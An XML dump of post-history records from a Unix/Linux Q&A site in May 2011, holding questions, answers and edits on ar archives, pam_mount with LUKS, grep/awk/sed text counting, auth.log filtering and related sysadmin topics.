  <row Id="32635" PostHistoryTypeId="2" PostId="13203" RevisionGUID="bce7e63b-e821-43ad-a435-a192ed54ce6f" CreationDate="2011-05-15T07:40:51.670" UserId="7503" Text="As a follow on, a .a file is an &quot;ar&quot; archive. Not unlike a tar archive, it stores .o or object files, allowing them to be pulled out of the archive, and linked into a program, among other things. You could use ar to store other files if you wanted.&#xD;&#xA;&#xD;&#xA;You can get a listing of the members of an ar file with the -t parameter, for instance:&#xD;&#xA;&#xD;&#xA;    ar -r /usr/lib/libc.a&#xD;&#xA;&#xD;&#xA;A .so file is a &quot;shared object&quot; file, and has a lot more information available to the linker so that members can be linked in to a loading program as rapidly as possible.&#xD;&#xA;&#xD;&#xA;For instance, try:&#xD;&#xA;&#xD;&#xA;    objdump -T /lib/libc-2.11.1.so&#xD;&#xA;&#xD;&#xA;(or whatever version of libc.so you have in your /lib directory.) Note that a .so file could also just contain a linker script directing it to find the file elsewhere, or use something else.&#xD;&#xA;&#xD;&#xA;Interestingly, a .so file can also be a full fledged program. For instance, trying running */lib/libc.so.6*." />
  <row Id="32636" PostHistoryTypeId="25" PostId="13196" RevisionGUID="e68c71ab-d388-4483-819d-119db7d1e38a" CreationDate="2011-05-15T09:12:11.747" Comment="http://twitter.com/#!/StackUnix/status/69691536060858368" />
  <row Id="32637" PostHistoryTypeId="2" PostId="13204" RevisionGUID="00c7a9d6-134c-45ba-b436-a8b99c20d2e2" CreationDate="2011-05-15T09:33:11.970" UserId="7374" Text="Reat That Fantastic Manual.&#xD;&#xA;&#xD;&#xA;From VMware Workstation User's Manual for VMware Workstation 7.1 (http://www.vmware.com/pdf/ws71_manual.pdf), pages 172 and 173:&#xD;&#xA;&#xD;&#xA;**Accelerated 3-D Restrictions**&#xD;&#xA;&#xD;&#xA;Support for applications that use DirectX 9 accelerated graphics applies only to &#xD;&#xA;Windows XP guests, on hosts running Windows XP, Windows Vista, Windows 7, or &#xD;&#xA;Linux.&#xD;&#xA;This feature currently has the following restrictions:&#xD;&#xA;&#xD;&#xA; - Workstation now offers support for&#xD;&#xA;   DirectX games and applications with&#xD;&#xA;   DirectX versions 9 and lower.&#xD;&#xA; &#xD;&#xA; - Support for 3‐D applications is not optimized for performance.&#xD;&#xA;&#xD;&#xA; - *OpenGL applications run in software&#xD;&#xA;   emulation mode.*&#xD;&#xA;&#xD;&#xA; - You cannot use the record/replay.&#xD;&#xA;&#xD;&#xA;If the support for OpenGL is missing for Linux guests in Workstation 7.1 I don't think it's present in any previous version. Documentation for VMware Server does not even mention OpenGL.&#xD;&#xA;&#xD;&#xA;QED" />
  <row Id="32638" PostHistoryTypeId="2" PostId="13205" RevisionGUID="8dfd9701-d8cb-4675-a1e2-1b7f912d96e8" CreationDate="2011-05-15T09:33:25.683" UserId="5382" Text="I have a dm-raid1 with a LUKS encrypted partition `md0` on it and I would like it to be mounted automatically when I login, using pam_mount.&#xD;&#xA;&#xD;&#xA;So far I have configured the `pam_mount.conf.xml` as follows:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&gt;&#xD;&#xA;    &lt;!DOCTYPE pam_mount SYSTEM &quot;pam_mount.conf.xml.dtd&quot;&gt;&#xD;&#xA;    &lt;pam_mount&gt;&#xD;&#xA;      &lt;debug enable=&quot;1&quot; /&gt;&#xD;&#xA;      &lt;mntoptions allow=&quot;nosuid,nodev,loop,encryption,fsck,nonempty,allow_root,allow_other&quot; /&gt;&#xD;&#xA;      &lt;mntoptions require=&quot;nosuid,nodev&quot; /&gt;&#xD;&#xA;      &lt;logout wait=&quot;0&quot; hup=&quot;0&quot; term=&quot;0&quot; kill=&quot;0&quot; /&gt;&#xD;&#xA;      &lt;volume&#xD;&#xA;        user=&quot;me&quot;&#xD;&#xA;        path=&quot;/dev/mapper/data&quot;&#xD;&#xA;        mountpoint=&quot;/mnt/data&quot;&#xD;&#xA;        fstype=&quot;crypt&quot;&#xD;&#xA;        cipher=&quot;aes-cbc-essiv:sha256&quot;&#xD;&#xA;        fskeypath=&quot;/home/data.key&quot;&#xD;&#xA;        fskeycipher=&quot;aes-256-cbc&quot;&#xD;&#xA;        fskeyhash=&quot;md5&quot; /&gt;&#xD;&#xA;      &lt;mkmountpoint enable=&quot;1&quot; remove=&quot;true&quot; /&gt;&#xD;&#xA;    &lt;/pam_mount&gt;&#xD;&#xA;&#xD;&#xA;Further I added `@include common-pammount` to `/etc/pam.d/login` and `/etc/pam.d/gdm`.&#xD;&#xA;&#xD;&#xA;The problem though, is that /dev/mapper/data is not in place when it is about to be mounted. However, the mounting works if I do&#xD;&#xA;&#xD;&#xA;    cryptsetup luksOpen /dev/md0 data" />
  <row Id="32639" PostHistoryTypeId="1" PostId="13205" RevisionGUID="8dfd9701-d8cb-4675-a1e2-1b7f912d96e8" CreationDate="2011-05-15T09:33:25.683" UserId="5382" Text="mounting an encrypted dm-raid partition on login" />
  <row Id="32640" PostHistoryTypeId="3" PostId="13205" RevisionGUID="8dfd9701-d8cb-4675-a1e2-1b7f912d96e8" CreationDate="2011-05-15T09:33:25.683" UserId="5382" Text="ésoftwareöraidàédmöcryptà" />
  <row Id="32641" PostHistoryTypeId="2" PostId="13206" RevisionGUID="00680ff2-8b81-49ad-b3ee-d83d98221ce1" CreationDate="2011-05-15T09:56:44.117" UserId="274" Text="You could try using [PAM script](http://sourceforge.net/projects/pam-script/)&#xD;&#xA;to run the `cryptsetup` command at session start.&#xD;&#xA;&#xD;&#xA;PAM script runs one of three handler scripts `onsessionopen`,&#xD;&#xA;`onsessionclose` or `onauth` (depending on the event that it is called&#xD;&#xA;to handle); each script is passed the user name and the invoking&#xD;&#xA;service name. If you require `pam_script` in your session before&#xD;&#xA;`pam_mount`, you can have `onsessionopen` do the `cryptsetup`&#xD;&#xA;invocation.&#xD;&#xA;&#xD;&#xA;Details and examples can be found at: &#xD;&#xA;http://linux.bononline.nl/linux/pamscript/01/build.html" />
  <row Id="32642" PostHistoryTypeId="5" PostId="13137" RevisionGUID="3c54a882-e77f-437b-8e39-dbed7ffb4bd4" CreationDate="2011-05-15T10:34:02.673" UserId="4671" Comment="typo fixes. change curious use of periods. Capitalize names of languages." Text="How can I 'read/interpret' 8 bytes as an **unsigned** int *(Little Endian)*?  &#xD;&#xA;Perhaps there is a Bash-fu magic conversion for this? &#xD;&#xA;&#xD;&#xA;UPDATE:  &#xD;&#xA;It seems that something got cross-wired in the interpretation of my question. Here is a broader example of what I am trying to do.    &#xD;&#xA;&#xD;&#xA;I want to read the first (and last) 64k of a file. Each 8-byte word is to be interpreted as a 64-bit Little-Endian unsigned integer. These **integers** are to be used in a hashing computation which uniquely identifies the file. So there are a lot of calculations to make, ∴ speed is preferred, but not critical. (Why am I doing it? Because `smplayer` hashes the names of its played-media .ini files, and I want to access, and modify these files, so I am mimicking the smplayer's C++ code in Bash.)  &#xD;&#xA;&#xD;&#xA;A solution which caters to accepting a piped input would be optimal, and is probably essential because of the way Bash variables can't handle \x00..   &#xD;&#xA;&#xD;&#xA;I realize that something like this is probably better suited to the likes of Python, Perl, and C/C++, but I don't know Python and Perl, and although I could do it in C++, it's been years since I've used it and I'm trying to focus on Bash.  &#xD;&#xA;&#xD;&#xA;Short Perl and Python snippets are good. Bash is preferred (but not at the sacrifice of speed).        &#xD;&#xA;&#xD;&#xA;" />
  <row Id="32643" PostHistoryTypeId="24" PostId="13137" RevisionGUID="3c54a882-e77f-437b-8e39-dbed7ffb4bd4" CreationDate="2011-05-15T10:34:02.673" Comment="Proposed by 4671 approved by 885 edit id of 373" />
  <row Id="32644" PostHistoryTypeId="6" PostId="13196" RevisionGUID="05bd5ee9-cbaa-4ba5-8400-c3a060fd0967" CreationDate="2011-05-15T10:37:25.343" UserId="885" Comment="edited tags" Text="élinuxàémonitorà" />
  <row Id="32645" PostHistoryTypeId="2" PostId="13207" RevisionGUID="3e1b5ea1-47e1-4062-b9cf-0792192ea7d0" CreationDate="2011-05-15T11:09:09.623" UserId="7505" Text="I have recently shifted from KDE4 to Gnome3. In KDE you can create application specific keyboard shortcuts to raise windows. I typically create one each for firefox, thunderbird, my terminal etc. That way switching between windows is lightning quick. Gnome doesn't seem to have that kind of functionality. Also I do not like Gnome3's window switching scheme (alt-tab).&#xD;&#xA;&#xD;&#xA;Hence I was wondering if its possible to raise windows through DBUS? If it is, then it will be possible to write a script and assign a keyboard shortcut to that.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32646" PostHistoryTypeId="1" PostId="13207" RevisionGUID="3e1b5ea1-47e1-4062-b9cf-0792192ea7d0" CreationDate="2011-05-15T11:09:09.623" UserId="7505" Text="Is it possible to raise a window using dbus in Gnome3?" />
  <row Id="32647" PostHistoryTypeId="3" PostId="13207" RevisionGUID="3e1b5ea1-47e1-4062-b9cf-0792192ea7d0" CreationDate="2011-05-15T11:09:09.623" UserId="7505" Text="égnomeàédbusà" />
  <row Id="32648" PostHistoryTypeId="5" PostId="13189" RevisionGUID="139d0750-94f9-4aa4-b5dd-5de97a99fc2a" CreationDate="2011-05-15T11:51:16.910" UserId="4671" Comment="link to correct project" Text="Why don't you use a OpenSUSE rpm? The OpenSUSE build service has rpms [here](https://build.opensuse.org/package/show?package=pencil&amp;project=home:davjam79). If the packages aren't up to date, it will probably not be difficult to modify the packaging and rebuild a binary rpm." />
  <row Id="32649" PostHistoryTypeId="2" PostId="13208" RevisionGUID="6e037558-60c2-4704-ba82-43f7816ca19d" CreationDate="2011-05-15T12:02:23.580" UserId="7426" Text="Hello.&#xD;&#xA;&#xD;&#xA;Following [this][1] qustion, is there a recommended prefix for GCC installation under Linux? I am not trying to achieve anything too special, I just want to have the latest version of GCC while keeping everything relatively safe and working...&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/6007857/gcc-installation-prefix-under-linux" />
  <row Id="32650" PostHistoryTypeId="1" PostId="13208" RevisionGUID="6e037558-60c2-4704-ba82-43f7816ca19d" CreationDate="2011-05-15T12:02:23.580" UserId="7426" Text="GCC installation prefix under Linux" />
  <row Id="32651" PostHistoryTypeId="3" PostId="13208" RevisionGUID="6e037558-60c2-4704-ba82-43f7816ca19d" CreationDate="2011-05-15T12:02:23.580" UserId="7426" Text="éinstallàédirectoryàégccà" />
  <row Id="32652" PostHistoryTypeId="25" PostId="13207" RevisionGUID="129b5812-80ab-4dff-af28-8765daba7459" CreationDate="2011-05-15T12:12:11.800" Comment="http://twitter.com/#!/StackUnix/status/69736834762149888" />
  <row Id="32653" PostHistoryTypeId="2" PostId="13209" RevisionGUID="afaa46f0-c070-4e54-b72f-992af0f50c2b" CreationDate="2011-05-15T12:21:07.503" UserId="210" Text="I have some home system monitoring scripts run via cron that will create output, and hence mail to the user that runs the script. I want to redirect this mail to my Gmail (or insert any other third-party mail) account.&#xD;&#xA;&#xD;&#xA;The method should&#xD;&#xA;&#xD;&#xA;1. be able to authenticate with and use another SMTP server (e.g. Gmail's SMTP itself) rather than sending directly via sendmail etc, as services like Gmail are likely to mark my mail as spam if I don't use a legit service.&#xD;&#xA;2. retry sending if failed as it will be run via a home Internet connection." />
  <row Id="32654" PostHistoryTypeId="1" PostId="13209" RevisionGUID="afaa46f0-c070-4e54-b72f-992af0f50c2b" CreationDate="2011-05-15T12:21:07.503" UserId="210" Text="Easiest way to forward mail to a third-party email address" />
  <row Id="32655" PostHistoryTypeId="3" PostId="13209" RevisionGUID="afaa46f0-c070-4e54-b72f-992af0f50c2b" CreationDate="2011-05-15T12:21:07.503" UserId="210" Text="émailà" />
  <row Id="32656" PostHistoryTypeId="2" PostId="13210" RevisionGUID="678ae762-560a-4e7e-8cab-e4b069c2acf0" CreationDate="2011-05-15T12:36:05.217" UserId="885" Text="If you have GNU grep (always on Linux and Cygwin, occasionally elsewhere), you can [count the output lines from `grep -o`](http://unix.stackexchange.com/questions/6979/grep-multiple-times-per-line/6985#6985): `grep -o needle | wc -l`.&#xD;&#xA;&#xD;&#xA;With Perl, here are a few ways I find more elegant than yours (even after it's [fixed](http://unix.stackexchange.com/questions/6979/grep-multiple-times-per-line/6982#6982)).&#xD;&#xA;&#xD;&#xA;    perl -lne 'END {print $c} map ++$c, /needle/g'&#xD;&#xA;    perl -lne 'END {print $c} $c += s/needle//g'&#xD;&#xA;    perl -lne 'END {print $c} ++$c while /needle/g'&#xD;&#xA;&#xD;&#xA;With only POSIX tools, one approach, if possible, is to split the input into lines with a single match before passing it to grep. For example, if you're looking for whole words, then first turn every non-word character into a newline.&#xD;&#xA;&#xD;&#xA;    # equivalent to grep -ow 'needle' | wc -l&#xD;&#xA;    tr -c '[:alnum:]' '[\n*]' | grep -c '^needle$'&#xD;&#xA;&#xD;&#xA;Otherwise, there's no standard command to do this particular bit of text processing, so you need to turn to sed (if you're a masochist) or awk.&#xD;&#xA;&#xD;&#xA;    awk '{while (match($0, /set/)) {++c; $0=substr($0, RSTART+RLENGTH)}}&#xD;&#xA;         END {print c}'&#xD;&#xA;    sed -n -e 's/set/\n&amp;\n/g' -e 's/^/\n/' -e 's/$/\n/' \&#xD;&#xA;           -e 's/\n[^\n]*\n/\n/g' -e 's/^\n//' -e 's/\n$//' \&#xD;&#xA;           -e '/./p' | wc -l&#xD;&#xA;&#xD;&#xA;Here's a simpler solution using `sed` and `grep`, which works for strings or even by-the-book regular expressions but fails in a few corner cases with anchored patterns (e.g. it finds two occurrences of `^needle` or `\bneedle` in `needleneedle`).&#xD;&#xA;&#xD;&#xA;    sed 's/needle/\n&amp;\n/g' | grep -cx 'needle'&#xD;&#xA;&#xD;&#xA;Note that in the sed substitutions above, I used `\n` to mean a newline. This is standard in the pattern part, but in the replacement text, for portability, substitute backslash-newline for `\n`.&#xD;&#xA;" />
  <row Id="32657" PostHistoryTypeId="4" PostId="6979" RevisionGUID="209ca410-2a26-4612-a04b-4e519ba2954d" CreationDate="2011-05-15T12:36:45.607" UserId="885" Comment="title" Text="grep: count total number of occurrences" />
  <row Id="32658" PostHistoryTypeId="4" PostId="3877" RevisionGUID="4198f100-e5fc-47ca-8cc4-59c75c84e228" CreationDate="2011-05-15T12:56:38.073" UserId="885" Comment="title" Text="How can I grep through files whose name begins with `-`?" />
  <row Id="32659" PostHistoryTypeId="6" PostId="3877" RevisionGUID="4198f100-e5fc-47ca-8cc4-59c75c84e228" CreationDate="2011-05-15T12:56:38.073" UserId="885" Comment="title" Text="étextöprocessingàégrepàéfilenamesà" />
  <row Id="32660" PostHistoryTypeId="5" PostId="5898" RevisionGUID="647ece12-e327-4dc7-9961-69fd59b23b63" CreationDate="2011-05-15T12:58:22.643" UserId="885" Comment="title; formatting" Text="I have created the alias below in my `.bash_aliases` file&#xD;&#xA;&#xD;&#xA;    alias auth=&quot;grep \&quot;$(date|awk '{print $2,$3}')\&quot; /var/log/auth.log |&#xD;&#xA;                grep -E '(BREAK-IN|Invalid user|Failed|refused|su|Illegal)'&quot;&#xD;&#xA;&#xD;&#xA;This is supposed to:&#xD;&#xA;&#xD;&#xA; - check todays date&#xD;&#xA; - grep `auth.log` for todays messages&#xD;&#xA; - grep todays messages for warning messages matching particular strings&#xD;&#xA;&#xD;&#xA;However, it only works when there's a 2-digit day because days numbered &lt;10 do not have a preceding zero.&#xD;&#xA;&#xD;&#xA;For example, I run `date` and pipe the result to `awk`. `date` outputs `Sat Jan  1 04:56:10 GMT 2011` and then awk captures `$2` and `$3` and feeds them into grep as follows&#xD;&#xA;&#xD;&#xA;    Jan 1&#xD;&#xA;&#xD;&#xA;However, when there's a single digit day, messages in `auth.log` appear as follows  &#xD;&#xA;&#xD;&#xA;    Jan  1 00:44:57 linux su[21249]: pam_unix(su:session): session closed for user root&#xD;&#xA;&#xD;&#xA;So there are two spaces following `Jan` in the `auth.log` but only one space following `Jan` in my grep command&#xD;&#xA;&#xD;&#xA;How can I modify the command to allow for the additional space?" />
  <row Id="32661" PostHistoryTypeId="4" PostId="5898" RevisionGUID="647ece12-e327-4dc7-9961-69fd59b23b63" CreationDate="2011-05-15T12:58:22.643" UserId="885" Comment="title; formatting" Text="Filtering on dates with grep and awk" />
  <row Id="32662" PostHistoryTypeId="5" PostId="3229" RevisionGUID="0c35efa4-66a7-4488-85e5-6df3b3bb0f6a" CreationDate="2011-05-15T13:02:03.340" UserId="885" Comment="title" Text="Is it possible to do a `tail -f` (or similar) on a file, and `grep` it at the same time? I wouldn't mind other commands just looking for that kind of behavior." />
  <row Id="32663" PostHistoryTypeId="4" PostId="3229" RevisionGUID="0c35efa4-66a7-4488-85e5-6df3b3bb0f6a" CreationDate="2011-05-15T13:02:03.340" UserId="885" Comment="title" Text="grep and tail -f?" />
  <row Id="32664" PostHistoryTypeId="6" PostId="3229" RevisionGUID="0c35efa4-66a7-4488-85e5-6df3b3bb0f6a" CreationDate="2011-05-15T13:02:03.340" UserId="885" Comment="title" Text="éshellàécommandölineàégrepàétailà" />
  <row Id="32665" PostHistoryTypeId="5" PostId="8018" RevisionGUID="ed061822-bc74-4fa7-8213-24ba94a6eb4f" CreationDate="2011-05-15T13:02:46.663" UserId="885" Comment="replaced wikipedia copy-paste by useful information" Text="The [grep](http://en.wikipedia.org/wiki/Grep) utility searches a pattern (regular expression) in a text file. There are many options to control how matches are performed and how to display matches.&#xD;&#xA;&#xD;&#xA;### External references&#xD;&#xA;&#xD;&#xA;* [grep specification (Single UNIX v3)](http://pubs.opengroup.org/onlinepubs/009695399/utilities/grep.html)&#xD;&#xA;* [GNU grep manual](http://www.gnu.org/software/grep/manual/grep.html)&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/366/convince-grep-to-output-all-lines-not-just-those-with-matches&#xD;&#xA;* http://unix.stackexchange.com/questions/6979/grep-count-total-number-of-occurrences&#xD;&#xA;* http://unix.stackexchange.com/questions/11067/is-there-a-way-to-modify-a-file-in-place&#xD;&#xA;* http://unix.stackexchange.com/questions/3514/how-to-grep-standard-error-stream-stderr&#xD;&#xA;* http://unix.stackexchange.com/questions/11305/grep-show-all-the-file-up-to-the-match&#xD;&#xA;* http://unix.stackexchange.com/questions/3229/grep-and-tail-f&#xD;&#xA;" />
  <row Id="32666" PostHistoryTypeId="5" PostId="8019" RevisionGUID="93b05d5b-323d-40e3-b3fa-0e7f32011592" CreationDate="2011-05-15T13:02:46.727" UserId="885" Comment="replaced wikipedia copy-paste by useful information" Text="grep is a command-line tool for searching text patterns in files" />
  <row Id="32667" PostHistoryTypeId="6" PostId="12075" RevisionGUID="c3a91677-3ab3-48a6-b277-fd4659235ec8" CreationDate="2011-05-15T13:04:32.433" UserId="885" Comment="edited tags" Text="étextöprocessingàéshellöscriptàélogsàétailà" />
  <row Id="32668" PostHistoryTypeId="2" PostId="13211" RevisionGUID="8d9484d8-41d6-4155-83b0-4b3b2d53669d" CreationDate="2011-05-15T13:06:17.803" UserId="7481" Text="I don't know your distro but If you have stable one you don't need change GCC path default place perfect good for source installation or whatever you need for gcc and You already have latest version GCC except beta or alpha " />
  <row Id="32669" PostHistoryTypeId="2" PostId="13212" RevisionGUID="b06e95b3-d1d7-4024-aab9-bc3fdf9514b3" CreationDate="2011-05-15T13:09:28.547" UserId="885" Text="You can just [pipe the output of `grep` into `tail -f`](http://unix.stackexchange.com/questions/3229/grep-and-tail-f/3230#3230). There are also programs that combine `tail -f` functionality with filtering and coloring, in particular [multitail](http://www.vanheusden.com/multitail/) ([examples](http://www.vanheusden.com/multitail/examples.html)).&#xD;&#xA;" />
  <row Id="32670" PostHistoryTypeId="5" PostId="12740" RevisionGUID="4c25df76-5801-4cb3-b784-7f8a40691853" CreationDate="2011-05-15T13:19:45.370" UserId="885" Comment="added mising backslash before newline in sed s/// replacement text" Text="So you want to extract some data from the first line and the last line? Just use a single command for each, printing two lines the first time.&#xD;&#xA;&#xD;&#xA;    sed -n -e '1s/^\(.*\)-\(.*\)\.txt$/\1\&#xD;&#xA;    \2/p' -e '$s/^\(.*\)-\(.*\)\.txt$/\2/p'&#xD;&#xA;&#xD;&#xA;You might find awk clearer if wordier.&#xD;&#xA;&#xD;&#xA;    awk -F- '{gsub(/\.[^.]*$/,&quot;&quot;);&#xD;&#xA;              dt=$2}&#xD;&#xA;             NR==1 {print $1; print $2}&#xD;&#xA;             END {print dt}'&#xD;&#xA;&#xD;&#xA;Or Perl.&#xD;&#xA;&#xD;&#xA;    perl -l -ne 's/\.[^.]*$//;&#xD;&#xA;                 /^(.*)-(.*)$/ or next;&#xD;&#xA;                 print $1 if $.==1;&#xD;&#xA;                 print $2 if $.==1 || eof'&#xD;&#xA;" />
  <row Id="32671" PostHistoryTypeId="5" PostId="8087" RevisionGUID="250d9171-6ae3-4beb-92fc-674b72a67e15" CreationDate="2011-05-15T13:20:21.843" UserId="885" Comment="added 1241 characters in body" Text="[Sed](http://en.wikipedia.org/wiki/Sed) is a stream editor: it reads one line of input, performs editing commands, and moves on to the next line. Sed is a companion to [ed](http://en.wikipedia.org/wiki/Ed_%28text_editor%29), Unix's first text editor. Sed is a [standard utility](http://pubs.opengroup.org/onlinepubs/009695399/utilities/sed.html).&#xD;&#xA;&#xD;&#xA;By far the most common usage of `sed` is to perform a simple pattern replacement:&#xD;&#xA;&#xD;&#xA;    sed -e 's/pattern/replacement/g'&#xD;&#xA;&#xD;&#xA;However, [sed is Turing-complete](http://en.literateprograms.org/Turing_machine_simulator_%28Sed%29); more complex scripts are possible, but quickly become cryptic. A good alternative for tasks that are complicated in sed is [tag:awk].&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/2434/is-there-a-basic-tutorial-for-grep-awk-and-sed&#xD;&#xA;* http://unix.stackexchange.com/questions/7126/how-to-remove-multiple-lines-per-occurrence-in-a-file&#xD;&#xA;* http://unix.stackexchange.com/questions/11217/sed-one-liner-to-delete-any-line-that-does-not-contain-lowercase-letters&#xD;&#xA;* http://unix.stackexchange.com/questions/12951/how-to-append-end-of-every-line-with-the-line-itself&#xD;&#xA;* http://unix.stackexchange.com/questions/12722/sed-get-2-lines-from-a-single-one&#xD;&#xA;" />
  <row Id="32672" PostHistoryTypeId="5" PostId="8091" RevisionGUID="859483d9-03b8-4b8d-9aee-2f2dc13a050b" CreationDate="2011-05-15T13:31:50.680" UserId="885" Comment="added 1380 characters in body" Text="[Awk](http://en.wikipedia.org/wiki/Awk) is a text processing tool with a far more expressive manipulation language that [tag:sed]: awk has named scalar and array variables, functions, and common imperative control structures.&#xD;&#xA;&#xD;&#xA;### Implementations and documentation&#xD;&#xA;&#xD;&#xA;* [*The AWK Programming Language*](http://cm.bell-labs.com/cm/cs/awkbook/index.html) (the book by the authors of the tool)&#xD;&#xA;* [POSIX:2001 awk specification](http://pubs.opengroup.org/onlinepubs/009695399/utilities/awk.html)&#xD;&#xA;* [GNU Awk](http://www.gnu.org/software/gawk/manual/html_node/index.html) includes many extensions, including [networking](http://www.gnu.org/software/gawk/manual/gawkinet/)&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:text-processing] Text processing in general, when you don't know which tool is best&#xD;&#xA;* [tag:grep], [tag:sed], and other text processing tools&#xD;&#xA;* [tag:perl], [tag:python] for more general programming languages that can be used for text processing&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/2434/is-there-a-basic-tutorial-for-grep-awk-and-sed&#xD;&#xA;* http://unix.stackexchange.com/questions/11193/is-there-any-alternative-to-greps-a-b-c-switches-to-print-few-lines-before-a&#xD;&#xA;* http://unix.stackexchange.com/questions/3459/how-could-i-simplify-this-command-to-only-use-awk&#xD;&#xA;* http://unix.stackexchange.com/questions/3794/awk-keep-lines-of-at-most-72-chars-length&#xD;&#xA;" />
  <row Id="32673" PostHistoryTypeId="2" PostId="13213" RevisionGUID="d316c144-8d2d-4d47-8ee6-c23d07f0977d" CreationDate="2011-05-15T13:54:45.173" UserId="7507" Text="Another solution using awk and `needle` as field separator:&#xD;&#xA;&#xD;&#xA;	awk -F'^needle | needle | needle$' '{c+=NF-1}END{print c}'&#xD;&#xA;&#xD;&#xA;If you want to match `needle` followed by punctuation, change the field separator accordingly i.e.&#xD;&#xA;&#xD;&#xA;    awk -F'^needle[ ,.?]|[ ,.?]needle[ ,.?]|[ ,.?]needle$' '{c+=NF-1}END{print c}'" />
  <row Id="32674" PostHistoryTypeId="17" PostId="13215" RevisionGUID="c611d654-8387-48d7-852e-b7c48603a35d" CreationDate="2011-05-15T14:01:18.317" UserId="-1" Comment="from http://stackoverflow.com/questions/6008628/how-many-files-can-be-saved-in-one-directory-on-linux-need-to-save-1-milion-stat/6008663#6008663" Text="" />
  <row Id="32676" PostHistoryTypeId="2" PostId="13215" RevisionGUID="0dfa6f9f-b1b4-453e-98ca-86945edc6e29" CreationDate="2011-05-15T13:25:33.517" UserDisplayName="rockerest" Text="This isn't really a programming question.&#xD;&#xA;&#xD;&#xA;In any case, the number of inodes that can be created on a linux system is typically extremely massive.  The exact number depends on a LOT of variables, but [here's](http://ubuntuforums.org/showthread.php?t=487196) a thread on the Ubuntu forums about calculating inodes for your system and about how to show information through terminal commands." />
  <row Id="32678" PostHistoryTypeId="2" PostId="13214" RevisionGUID="8c245251-3fa3-4889-97af-70c02a75e397" CreationDate="2011-05-15T13:18:33.063" UserDisplayName="Newbie1" Text="I need to save 1 milion static html files in one directory as there is not possible to group the files into the directories (all files must have path like page-name.html. Already tested with 200 000 fles and seem to be no problem on Linux, but wonder if still won't be problematic with 1 million of static pages?" />
  <row Id="32679" PostHistoryTypeId="1" PostId="13214" RevisionGUID="8c245251-3fa3-4889-97af-70c02a75e397" CreationDate="2011-05-15T13:18:33.063" UserDisplayName="Newbie1" Text="How many files can be saved in one directory on Linux (need to save 1 milion static pages in one directory)" />
  <row Id="32680" PostHistoryTypeId="3" PostId="13214" RevisionGUID="8c245251-3fa3-4889-97af-70c02a75e397" CreationDate="2011-05-15T13:18:33.063" UserDisplayName="Newbie1" Text="élinuxà" />
  <row Id="32681" PostHistoryTypeId="17" PostId="13214" RevisionGUID="20732ddb-91df-4cd1-8bbf-8491c7f921ba" CreationDate="2011-05-15T14:01:18.317" UserId="-1" Comment="from http://stackoverflow.com/questions/6008628/how-many-files-can-be-saved-in-one-directory-on-linux-need-to-save-1-milion-stat" Text="" />
  <row Id="32682" PostHistoryTypeId="5" PostId="13213" RevisionGUID="73578b77-ec67-4fd5-ab3b-e7d913e82ab5" CreationDate="2011-05-15T14:03:28.147" UserId="7507" Comment="added 75 characters in body" Text="Another solution using awk and `needle` as field separator:&#xD;&#xA;&#xD;&#xA;	awk -F'^needle | needle | needle$' '{c+=NF-1}END{print c}'&#xD;&#xA;&#xD;&#xA;If you want to match `needle` followed by punctuation, change the field separator accordingly i.e.&#xD;&#xA;&#xD;&#xA;    awk -F'^needle[ ,.?]|[ ,.?]needle[ ,.?]|[ ,.?]needle$' '{c+=NF-1}END{print c}'&#xD;&#xA;&#xD;&#xA;Or use the class: `[^[:alnum:]]` to encompass all non alpha characters." />
  <row Id="32683" PostHistoryTypeId="5" PostId="13215" RevisionGUID="50a8a351-b440-426b-9cff-9ed0562c6c3b" CreationDate="2011-05-15T14:34:34.900" UserId="4728" Comment="Removed &quot;This isn't really a programming question.&quot;" Text="The number of inodes that can be created on a linux system is typically extremely massive.  The exact number depends on a LOT of variables, but [here's](http://ubuntuforums.org/showthread.php?t=487196) a thread on the Ubuntu forums about calculating inodes for your system and about how to show information through terminal commands." />
  <row Id="32684" PostHistoryTypeId="24" PostId="13215" RevisionGUID="50a8a351-b440-426b-9cff-9ed0562c6c3b" CreationDate="2011-05-15T14:34:34.900" Comment="Proposed by 4728 approved by 885 edit id of 374" />
  <row Id="32685" PostHistoryTypeId="4" PostId="13214" RevisionGUID="c3ef31be-9da3-4005-a4bf-6d7ee12c3f34" CreationDate="2011-05-15T14:35:40.063" UserId="885" Comment="edited tags; edited title" Text="How many files can be saved in one directory on Linux?" />
  <row Id="32686" PostHistoryTypeId="6" PostId="13214" RevisionGUID="c3ef31be-9da3-4005-a4bf-6d7ee12c3f34" CreationDate="2011-05-15T14:35:40.063" UserId="885" Comment="edited tags; edited title" Text="élinuxàéfilesystemsàéfilesàédirectoryà" />
  <row Id="32687" PostHistoryTypeId="25" PostId="13214" RevisionGUID="be375570-a1f4-497f-bb71-563309964916" CreationDate="2011-05-15T15:12:12.023" Comment="http://twitter.com/#!/StackUnix/status/69782134302326784" />
  <row Id="32689" PostHistoryTypeId="2" PostId="13217" RevisionGUID="b3851757-dc64-4488-91b9-dafda225b530" CreationDate="2011-05-15T16:27:18.213" UserId="6245" Text="(I hope that asking for a program recommendation is okay here; if not, I apologise in advance.  There didn't seem to be a suitable tag which makes me worry a little.)&#xD;&#xA;&#xD;&#xA;I'd like to make a simple movie with my kids.  I've taken some pictures of toys and cropped them to be the characters.  I'd like to make a movie where these move against some background (ie the characters _themselves_ are not animated but move &quot;as a whole&quot;).  Finding such a program seems beyond my search capabilities.&#xD;&#xA;&#xD;&#xA;Does anyone know of a good program for doing this, preferably one that is simple enough that my (young) kids can follow along with what I'm doing (I wouldn't go so far as to expect them to be able to do it, but it needs to be close enough that they won't get bored; so `blender` is probably not suitable)." />
  <row Id="32690" PostHistoryTypeId="1" PostId="13217" RevisionGUID="b3851757-dc64-4488-91b9-dafda225b530" CreationDate="2011-05-15T16:27:18.213" UserId="6245" Text="Are there any animation programs for animating static images?" />
